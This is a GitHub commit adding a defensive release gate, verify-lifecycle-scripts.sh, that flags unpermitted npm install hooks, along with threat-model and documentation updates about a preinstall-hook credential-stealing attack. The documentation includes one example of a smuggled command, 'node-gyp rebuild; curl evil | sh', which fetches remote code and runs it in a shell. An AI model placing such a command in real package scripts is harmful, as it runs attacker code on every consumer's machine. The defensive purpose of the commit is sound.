Skip to content

Commit cca7f83

Browse files
feat: add verify-lifecycle-scripts gate for install-hook defence (#5)
Blocks the April 2026 @bitwarden/cli@2026.4.0 / TeamPCP attack shape: a compromised publish shipping a preinstall hook that runs a credential stealer on every consumer install. New gate reads scripts from the consumer package.json and fails (strict) or warns (default) on any preinstall/install/postinstall not matching an explicit allowlist. Paired with OIDC trusted publishing, this closes that campaign's attack chain end-to-end. Build-time hooks (prepare, prepack, prepublishOnly) stay out of scope — they fire on the publisher, not the consumer. THREAT-MODEL.md gains the new defence row, a sibling-job secret-leak row (explicitly out of enforcement reach, mitigations in prose), and a known-limitations section covering what the gate cannot catch (main-entry side effects, native bindings, bundled runtimes).
1 parent 7bf5972 commit cca7f83

6 files changed

Lines changed: 481 additions & 0 deletions

File tree

.github/workflows/release.yml

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,30 @@ on:
106106
required: false
107107
type: string
108108
default: 'true'
109+
lifecycle-scripts-policy:
110+
description: |
111+
How verify-lifecycle-scripts handles preinstall/install/postinstall
112+
hooks in the published package. One of:
113+
- warn (default): unpermitted hooks are logged but publish continues.
114+
- strict: unpermitted hooks fail the release.
115+
- off: skip the gate entirely.
116+
Install-time hooks run on every consumer's machine when they
117+
`npm install` the package — the attack surface used in the April
118+
2026 Bitwarden CLI compromise. Allow specific hooks via
119+
`allowed-lifecycle-scripts`.
120+
required: false
121+
type: string
122+
default: 'warn'
123+
allowed-lifecycle-scripts:
124+
description: >-
125+
JSON object mapping hook name (preinstall/install/postinstall) to
126+
the exact command string permitted. Anything else warns or fails
127+
depending on `lifecycle-scripts-policy`. Empty map (default) means
128+
no install hooks are allowed. Example:
129+
{"postinstall": "node-gyp rebuild"}
130+
required: false
131+
type: string
132+
default: '{}'
109133
version-strategy:
110134
description: |
111135
How version bumps are validated. One of:
@@ -255,6 +279,12 @@ jobs:
255279
- name: Verify no secrets in artefacts
256280
run: $ACTION_SRC/steps/verify-secrets.sh
257281

282+
- name: Verify lifecycle scripts
283+
env:
284+
LIFECYCLE_POLICY: ${{ inputs.lifecycle-scripts-policy }}
285+
ALLOWED_LIFECYCLE_SCRIPTS: ${{ inputs.allowed-lifecycle-scripts }}
286+
run: $ACTION_SRC/steps/verify-lifecycle-scripts.sh
287+
258288
- name: Record tarball integrity
259289
id: record
260290
env:

THREAT-MODEL.md

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ of the defences listed below, that change needs explicit justification.
4242
| Race between parallel releases publishing the same version twice | `publish-npm` is idempotent: if the exact version is already on the registry, it exits `0` without re-publishing. |
4343
| Registry tarball substitution between publish and consumer fetch | `record-tarball` packs the artefact once and writes its sha512 (npm integrity format) plus sha256 to a meta file. `publish-npm` uploads that exact tarball — not a re-pack — and on a clean re-run compares the registry's `dist.integrity` to the recorded value: a mismatch fails the workflow loudly. The hashes are also stamped into the GitHub Release body so consumers can `curl | shasum` the registry tarball at any time. |
4444
| Compromised third-party action re-pointed at malicious code via tag mutation (the `tj-actions/changed-files` 2025-03 vector) | `verify-action-pins` walks `.github/workflows/*.yml` in the consumer repo and warns on any `uses: owner/repo@ref` line whose ref is not a 40-char hex SHA. Warn-only by default; `strict-action-pins: true` promotes to fail. |
45+
| Compromised publish credential used to ship a malicious `preinstall` / `install` / `postinstall` hook (the April 2026 `@bitwarden/cli@2026.4.0` / TeamPCP–Checkmarx vector) | `verify-lifecycle-scripts` reads the consumer's `package.json` and flags any install-time hook not matching an explicit `allowed-lifecycle-scripts` allowlist. Warn-only by default; `lifecycle-scripts-policy: strict` promotes to fail. Combined with OIDC trusted publishing (no long-lived `NPM_TOKEN` to exfiltrate), this closes the primary payload mechanism used by that campaign. |
4546
| Non-deterministic build masking a regression in compiled output | The reusable workflow runs **two parallel builds on independent runners**, both packed with normalised mtimes and `SOURCE_DATE_EPOCH` derived from `git log`. The `reproduce` job compares the two sha256s and (under the default `reproducibility-mode: strict`) refuses to publish on mismatch. This catches embedded build timestamps, sorted-by-fs globs, random IDs, and host-path leakage — the common ways non-determinism slips into a JS bundle. Stronger than SLSA provenance: provenance attests one runner built these bytes once; reproduce attests two runners arrive at the same bytes. |
4647

4748
## Threats explicitly NOT addressed
@@ -55,6 +56,7 @@ of the defences listed below, that change needs explicit justification.
5556
| Supply-chain attack on `gh`, `jq`, `npm`, `awk`, `sed`, `find`, `grep` themselves | Mitigated by using the GitHub-managed runner image, which is SHA-pinned to a runner release, not eliminated. |
5657
| Leaked GitHub Actions OIDC claims reused by a third party | Mitigated by the short OIDC token lifetime (~10 minutes) and the npm registry's trusted-publisher repo/workflow matching, not eliminated. |
5758
| Supply-chain substitution of the `jsr` CLI package at publish time | JSR publish is opt-in (requires `jsr.json` in the consumer repo). `publish-jsr.sh` pins `jsr@${JSR_CLI_VERSION}` by semver, not integrity: a maintainer-account compromise of the `jsr` npm package within npm's 72-hour republish-after-unpublish window could substitute bytes while keeping the version string. Mitigated by the version pin and opt-in posture; not eliminated. Bump `JSR_CLI_VERSION` only after manually verifying the tarball SHA against a known-good release. |
59+
| Compromised third-party action running in a sibling job that can see publish credentials | Out of anvil's enforcement reach. anvil controls the jobs it defines in `release.yml`; a consumer workflow that runs a third-party action (Trivy, KICS, linters, custom scanners) in a separate job of the same run must either not expose `secrets.*` to that job, or not have an `NPM_TOKEN` secret to expose at all. OIDC trusted publishing already removes the primary long-lived target; see the "isolating third-party actions" note under Known limitations. |
5860
| `@v0` (major) floating tag auto-adoption after a compromised release | `self-release.yml` force-advances the `v0` tag on every release so consumers pinned `@v0` get new versions without pin bumps. A single compromised commit that passes anvil's own self-release gates would auto-propagate to every consumer pinned `@v0`. This is the same trust property as `actions/checkout@v4`, `actions/setup-node@v6`, and every other action that offers a floating major tag. Consumers who want a stronger guarantee should pin anvil to a 40-char SHA and set `strict-action-pins: true` in their caller workflow. |
5961

6062
## Trust boundaries
@@ -188,6 +190,50 @@ selection would pick prepack output instead and the scan could become
188190
bypassable. This is a stable contract today but worth re-checking on
189191
major npm upgrades.
190192

193+
### `verify-lifecycle-scripts` only covers install-time hooks
194+
195+
The gate inspects `preinstall`, `install`, and `postinstall` — the three
196+
hooks npm runs automatically on `npm install <pkg>` for every consumer.
197+
It does **not** inspect `prepare`, `prepack`, `prepublish`, or
198+
`prepublishOnly`: those fire on the publisher's machine at pack/publish
199+
time, not on the consumer, and are already scoped to the trusted publish
200+
job. A malicious `prepack` in a consumer repo would run on anvil's own
201+
runner during `record-tarball.sh` — a separate concern that sits at the
202+
trust boundary between consumer build tooling and the action itself,
203+
covered by the "untrusted consumer build" boundary below.
204+
205+
The gate also does not detect malicious code loaded from the package's
206+
main entry (`require`/`import` side effects that run on first use), nor
207+
code loaded by a native-module binding, nor anything inside a bundled
208+
runtime. Those attacker paths avoid the lifecycle-hook mechanism
209+
entirely; the gate is a targeted block on the *specific* shape used in
210+
the April 2026 Bitwarden compromise, not a general malicious-code
211+
detector. Consumers who want that stronger guarantee need code review
212+
and/or signed commits, which are out of scope.
213+
214+
### Isolating third-party actions from publish credentials
215+
216+
anvil's own `release.yml` jobs do not expose any long-lived secret to
217+
step scripts — OIDC is minted inside the publish job with a ~10-minute
218+
lifetime and `id-token: write` scoped to that job only. The consumer is
219+
responsible for not leaking secrets into *sibling* jobs of the same
220+
workflow run. If a consumer adds a Trivy/KICS/lint job to their release
221+
workflow and sets `env: NPM_TOKEN: ${{ secrets.NPM_TOKEN }}` on it
222+
(defeating the point of OIDC), a compromised third-party action in that
223+
sibling job can still exfiltrate the token and publish out-of-band later.
224+
225+
Mitigations a consumer should apply:
226+
227+
1. **Delete any `NPM_TOKEN` secret.** With OIDC trusted publishing
228+
configured on npm, it is unused; keeping it is the whole attack
229+
surface.
230+
2. **Run third-party scanners in a separate workflow**, not a sibling
231+
job of the release workflow. A scanner triggered on `pull_request`
232+
or `push` never sees the release context's secrets.
233+
3. **Pin every third-party action by 40-char SHA** and enable
234+
`strict-action-pins: true` so `verify-action-pins` fails the release
235+
on any unpinned reference.
236+
191237
### Changelog extraction uses a word-bounded heading match
192238

193239
`changelog-extract` finds the CHANGELOG section by matching any H1/H2/H3

action.yml

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,28 @@ inputs:
4747
by name.
4848
required: false
4949
default: 'true'
50+
lifecycle-scripts-policy:
51+
description: |
52+
How verify-lifecycle-scripts handles preinstall/install/postinstall
53+
hooks in the published package. One of:
54+
- warn (default): unpermitted hooks are logged but publish continues.
55+
- strict: unpermitted hooks fail the release.
56+
- off: skip the gate entirely.
57+
Install-time hooks run on every consumer's machine when they
58+
`npm install` the package — the attack surface used in the April
59+
2026 Bitwarden CLI compromise. Allow specific hooks via
60+
`allowed-lifecycle-scripts`.
61+
required: false
62+
default: 'warn'
63+
allowed-lifecycle-scripts:
64+
description: >-
65+
JSON object mapping hook name (preinstall/install/postinstall) to
66+
the exact command string permitted. Anything else warns or fails
67+
depending on `lifecycle-scripts-policy`. Empty map (default) means
68+
no install hooks are allowed. Example:
69+
{"postinstall": "node-gyp rebuild"}
70+
required: false
71+
default: '{}'
5072
version-strategy:
5173
description: |
5274
How version bumps are validated. One of:
@@ -137,6 +159,14 @@ runs:
137159
PACKAGE_JSON: ${{ inputs.package-json }}
138160
run: ${{ github.action_path }}/steps/verify-secrets.sh
139161

162+
- name: Verify lifecycle scripts
163+
shell: bash
164+
env:
165+
PACKAGE_JSON: ${{ inputs.package-json }}
166+
LIFECYCLE_POLICY: ${{ inputs.lifecycle-scripts-policy }}
167+
ALLOWED_LIFECYCLE_SCRIPTS: ${{ inputs.allowed-lifecycle-scripts }}
168+
run: ${{ github.action_path }}/steps/verify-lifecycle-scripts.sh
169+
140170
- name: Record tarball integrity
141171
shell: bash
142172
env:

docs/pre-publish-gates.md

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -449,6 +449,88 @@ This gate runs automatically. No configuration required.
449449

450450
---
451451

452+
## Lifecycle-script gate (verify-lifecycle-scripts.sh)
453+
454+
Refuses to publish packages whose `preinstall`, `install`, or
455+
`postinstall` script runs code on every consumer of the package. This is
456+
the payload mechanism used in the April 2026 `@bitwarden/cli@2026.4.0`
457+
compromise: a preinstall hook pointing at `bw1.js` / `bw_setup.js`
458+
executed on every install, stealing GitHub tokens, `.ssh` keys, `.env`
459+
files, and cloud credentials. A version that already shipped through an
460+
anvil pipeline with `lifecycle-scripts-policy: strict` would have been
461+
blocked at this gate.
462+
463+
### How it works
464+
465+
Reads `scripts` from the consumer's `package.json` and compares each of
466+
the three install-time hooks against an explicit allowlist. Anything
467+
not on the allowlist warns (default) or fails the release (strict).
468+
469+
Only install-time hooks (those npm runs automatically for every consumer
470+
of the published package) are inspected. Build-time hooks (`prepare`,
471+
`prepack`, `prepublishOnly`) run on the publisher's machine at pack
472+
time, not on consumers, and are deliberately out of scope for this
473+
gate.
474+
475+
### Configuration
476+
477+
Two inputs:
478+
479+
- `lifecycle-scripts-policy` (default: `warn`): one of `warn`, `strict`,
480+
`off`. Warn logs unpermitted hooks but lets the release proceed.
481+
Strict fails the release. Off skips the gate entirely.
482+
- `allowed-lifecycle-scripts` (default: `{}`): JSON object mapping hook
483+
name to the exact command string permitted. Exact string match only —
484+
substring and prefix matches are intentionally not supported, because
485+
they would let an attacker smuggle extra commands past an allowlisted
486+
entry (e.g. `node-gyp rebuild; curl evil | sh`).
487+
488+
Default behaviour is warn-only so adopting anvil does not break
489+
existing releases of packages that already ship a legitimate
490+
`postinstall`. Promote to strict once the allowlist is populated:
491+
492+
```yaml
493+
uses: forgesworn/anvil/.github/workflows/release.yml@v0
494+
with:
495+
lifecycle-scripts-policy: strict
496+
allowed-lifecycle-scripts: '{"postinstall": "node-gyp rebuild"}'
497+
```
498+
499+
Most pure-JS libraries have no legitimate install hooks at all; the
500+
`{}` default combined with `lifecycle-scripts-policy: strict` is the
501+
correct setting for those, and it is the configuration this gate was
502+
designed for.
503+
504+
### Output
505+
506+
- On success: `ok: no preinstall/install/postinstall hooks declared` or
507+
`ok: all install hooks present are on the allowlist`.
508+
- In warn mode on offending hooks: `warning: preinstall hook set in
509+
package.json: <cmd>` per hook, then a reminder that strict mode
510+
would fail.
511+
- In strict mode on offending hooks: the same warnings, then `error:
512+
lifecycle-scripts-policy=strict: refusing to publish package with
513+
unpermitted install hooks`. Exit 1, release blocked.
514+
- On an allowlisted-hook-with-wrong-command: `warning: postinstall
515+
mismatch: package.json has '<cmd>' but allowlist expects '<expected>'`.
516+
517+
### What it does not catch
518+
519+
- Malicious code loaded from the package's main entry (`require`/
520+
`import` side effects that run on first use).
521+
- Malicious native-module bindings invoked on import.
522+
- Anything inside a bundled runtime shipped with the package.
523+
- Build-time hooks (`prepare`, `prepack`) — the publisher-side
524+
attack surface, covered by the action's own job isolation rather
525+
than by this gate.
526+
527+
The gate is a targeted block on the *specific* shape used in the April
528+
2026 Bitwarden compromise, not a general malicious-code detector. It
529+
pairs with OIDC trusted publishing (which removes the long-lived
530+
`NPM_TOKEN` pivot) to close that campaign's attack chain end-to-end.
531+
532+
---
533+
452534
## Frozen-vector gate (verify-vectors.sh)
453535

454536
An optional gate for libraries with deterministic test vectors

steps/verify-lifecycle-scripts.sh

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
#!/usr/bin/env bash
2+
# verify-lifecycle-scripts.sh — refuse to publish packages whose install
3+
# lifecycle scripts would run arbitrary code on every consumer.
4+
#
5+
# npm runs `preinstall`, `install`, and `postinstall` scripts
6+
# automatically when a consumer runs `npm install <pkg>`. A malicious
7+
# script set in one of these hooks lets a compromised publish execute
8+
# code on every consumer machine with no user interaction. This is the
9+
# payload mechanism used in the April 2026 Bitwarden CLI compromise,
10+
# where @bitwarden/cli@2026.4.0 shipped a preinstall hook pointing at
11+
# a credential-stealer loader (bw1.js / bw_setup.js).
12+
#
13+
# The gate reads `scripts` from the consumer's package.json — the same
14+
# object that ships in the published tarball — and compares each of the
15+
# three install-time hooks against an explicit allowlist. Anything not
16+
# on the allowlist warns (default) or fails (strict).
17+
#
18+
# Why not block all three unconditionally: native-module packages
19+
# legitimately use `postinstall` for `node-gyp rebuild` or similar
20+
# build-on-install behaviour. The allowlist lets those packages declare
21+
# intent without disabling the gate.
22+
#
23+
# Policy:
24+
# warn (default) -- log a warning for each unpermitted hook; publish continues
25+
# strict -- fail the release if any unpermitted hook is present
26+
# off -- skip the gate entirely
27+
#
28+
# Allowlist format: JSON object mapping hook name to the exact command
29+
# string permitted. An exact string match is required; a different
30+
# command in the same hook is treated as "not allowlisted". Empty map
31+
# (the default) means "no install hooks allowed".
32+
#
33+
# Example caller configuration:
34+
# lifecycle-scripts-policy: strict
35+
# allowed-lifecycle-scripts: '{"postinstall": "node-gyp rebuild"}'
36+
#
37+
# Env:
38+
# PACKAGE_JSON (default: package.json)
39+
# LIFECYCLE_POLICY (warn|strict|off, default warn)
40+
# ALLOWED_LIFECYCLE_SCRIPTS (JSON object, default "{}")
41+
42+
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
43+
# shellcheck source-path=SCRIPTDIR
44+
# shellcheck source=lib.sh
45+
source "${SCRIPT_DIR}/lib.sh"
46+
47+
header "verify-lifecycle-scripts"
48+
49+
policy="${LIFECYCLE_POLICY:-warn}"
50+
case "$policy" in
51+
warn|strict) ;;
52+
off) log "lifecycle-scripts-policy=off — skipping"; ok "skipped"; exit 0 ;;
53+
*) die "lifecycle-scripts-policy must be one of: warn, strict, off (got: '$policy')" ;;
54+
esac
55+
56+
require_cmds jq
57+
58+
pkg="${PACKAGE_JSON:-package.json}"
59+
[[ -f "$pkg" ]] || die "$pkg not found"
60+
61+
allowed_raw="${ALLOWED_LIFECYCLE_SCRIPTS:-}"
62+
[[ -z "$allowed_raw" ]] && allowed_raw='{}'
63+
if ! printf '%s' "$allowed_raw" | jq -e 'type == "object"' >/dev/null 2>&1; then
64+
die "allowed-lifecycle-scripts must be a JSON object (got: $allowed_raw)"
65+
fi
66+
67+
# Hooks npm runs on `npm install <pkg>` for every consumer of the
68+
# published package. Build-time hooks (prepack, prepare, prepublishOnly)
69+
# are deliberately not in this list: those run on the publisher's
70+
# machine at pack/publish time, not on the consumer.
71+
hooks=(preinstall install postinstall)
72+
73+
fail=0
74+
found_any=0
75+
76+
for hook in "${hooks[@]}"; do
77+
cmd="$(jq -r --arg h "$hook" '.scripts[$h] // empty' "$pkg")"
78+
[[ -z "$cmd" ]] && continue
79+
found_any=1
80+
81+
allowed_cmd="$(printf '%s' "$allowed_raw" | jq -r --arg h "$hook" '.[$h] // empty')"
82+
83+
if [[ -n "$allowed_cmd" && "$allowed_cmd" == "$cmd" ]]; then
84+
ok "$hook allowed by allowlist: $cmd"
85+
continue
86+
fi
87+
88+
if [[ -n "$allowed_cmd" ]]; then
89+
warn "$hook mismatch: package.json has '$cmd' but allowlist expects '$allowed_cmd'"
90+
else
91+
warn "$hook hook set in package.json: $cmd"
92+
fi
93+
fail=1
94+
done
95+
96+
if (( found_any == 0 )); then
97+
ok "no preinstall/install/postinstall hooks declared"
98+
exit 0
99+
fi
100+
101+
if (( fail )); then
102+
if [[ "$policy" == "strict" ]]; then
103+
die "lifecycle-scripts-policy=strict: refusing to publish package with unpermitted install hooks"
104+
fi
105+
warn "lifecycle-scripts-policy=warn — publish will proceed; set to 'strict' to fail on unpermitted hooks"
106+
exit 0
107+
fi
108+
109+
ok "all install hooks present are on the allowlist"

0 commit comments

Comments
 (0)